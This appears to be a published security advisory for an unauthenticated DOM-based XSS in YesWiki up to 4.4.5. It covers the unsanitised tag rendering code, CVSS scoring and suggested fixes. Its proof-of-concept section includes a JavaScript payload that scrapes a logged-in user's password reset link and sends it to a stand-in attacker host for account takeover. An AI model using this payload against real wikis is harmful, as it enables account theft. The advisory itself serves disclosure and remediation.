Unauthenticated DOM Based XSS in YesWiki

Description

Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

Summary

It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.

This Proof of Concept has been performed using the followings:
- YesWiki v4.4.5 (doryphore-dev branch, latest)
- Docker environnment (docker/docker-compose.yml)
- Docker v27.5.0
- Default installation

Details

The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.

This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:

$output .= &#x27;&lt;div class=&quot;alert alert-info&quot;&gt;&#x27; . &quot;\n&quot;;
if ($nb_total &gt; 1) {
    $output .= _t(&#x27;TAGS_TOTAL_NB_PAGES&#x27;, [&#x27;nb_total&#x27; =&gt; $nb_total]);
} elseif ($nb_total == 1) {
    $output .= _t(&#x27;TAGS_ONE_PAGE_FOUND&#x27;);
} else {
    $output .= _t(&#x27;TAGS_NO_PAGE&#x27;);
}
$output .= (!empty($tab_selected_tags) ? &#x27; &#x27; . _t(&#x27;TAGS_WITH_KEYWORD&#x27;) . &#x27; &#x27; . implode(&#x27; &#x27; . _t(&#x27;TAGS_WITH_KEYWORD_SEPARATOR&#x27;) . &#x27; &#x27;, array_map(function ($tagName) {
    return &#x27;&lt;span class=&quot;tag-label label label-info&quot;&gt;&#x27; . $tagName . &#x27;&lt;/span&gt;&#x27;;
}, $tab_selected_tags)) : &#x27;&#x27;) . &#x27;.&#x27;;
$output .= $this-&gt;Format(&#x27;{{rss tags=&quot;&#x27; . $tags . &#x27;&quot; class=&quot;pull-right&quot;}}&#x27;) . &quot;\n&quot;;
$output .= &#x27;&lt;/div&gt;&#x27; . &quot;\n&quot; . $text;

echo $this-&gt;Header();
echo &quot;&lt;div class=\&quot;page\&quot;&gt;\n$output\n$outputselecttag\n&lt;hr class=\&quot;hr_clear\&quot; /&gt;\n&lt;/div&gt;\n&quot;;
echo $this-&gt;Footer();

The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.

PoC

1. Simple XSS

Abusing the tags parameter, we can successfully obtain client side javascript execution:

poc1

2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch(&#x27;/?ParametresUtilisateur&#x27;)
  .then(response =&gt; {
    return response.text();
  })
  .then(htmlString =&gt; {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, &#x27;text/html&#x27;);
    const resetLinkElement = doc.querySelector(&#x27;.control-group .controls a&#x27;); //dirty
    fetch(&#x27;http://attacker.lan:4444/?xss=&#x27;.concat(btoa(resetLinkElement.href)));
  })

Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.

poc2
poc3
poc4

Impact

This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures

  • Sanitize properly the tag names when created here
        foreach ($tags as $tag) {
            trim($tag);
            if ($tag != &#x27;&#x27;) {
                if (!$this-&gt;tripleStore-&gt;exist($page, &#x27;http://outils-reseaux.org/_vocabulary/tag&#x27;, htmlspecialchars($tag), &#x27;&#x27;, &#x27;&#x27;)) {
                    $this-&gt;tripleStore-&gt;create($page, &#x27;http://outils-reseaux.org/_vocabulary/tag&#x27;, htmlspecialchars($tag), &#x27;&#x27;, &#x27;&#x27;);
                }
                //on supprime ce tag du tableau des tags restants a effacer
                if (isset($tags_restants_a_effacer)) {
                    unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);
                }
            }
        }
  • Sanitize the tag names when looked for here
//$tags = (isset($_GET[&#x27;tags&#x27;])) ? $_GET[&#x27;tags&#x27;] : &#x27;&#x27;;
$tags = (isset($_GET[&#x27;tags&#x27;])) ? htmlspecialchars($_GET[&#x27;tags&#x27;]) : &#x27;&#x27;;
  • Implement a stronger password reset mechanism through:
  • Not showing a password reset link to an already logged-in user.
  • Generating a password reset link when a reset is requested by a user, and only send it by mail.
  • Add an expiration/due date to the token

  • Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)
    > The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-01-21 20:08:37 UTC
Updated
2025-01-21 20:08:38 UTC
GitHub reviewed
2025-01-21 20:08:37 UTC
NVD published
2025-01-21

EPSS Score

Score Percentile
0.29% 51.51%

CVSS Scores

Base score Version Severity Vector
7.6 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:L)
Might cause slowdowns, glitches, or partial disruption—not a full brick.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • bWlrYQ (reporter)
  • Nishacid (finder)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer yeswiki/yeswiki <= 4.4.5 4.5.0

References

cvelogic Threat Intelligence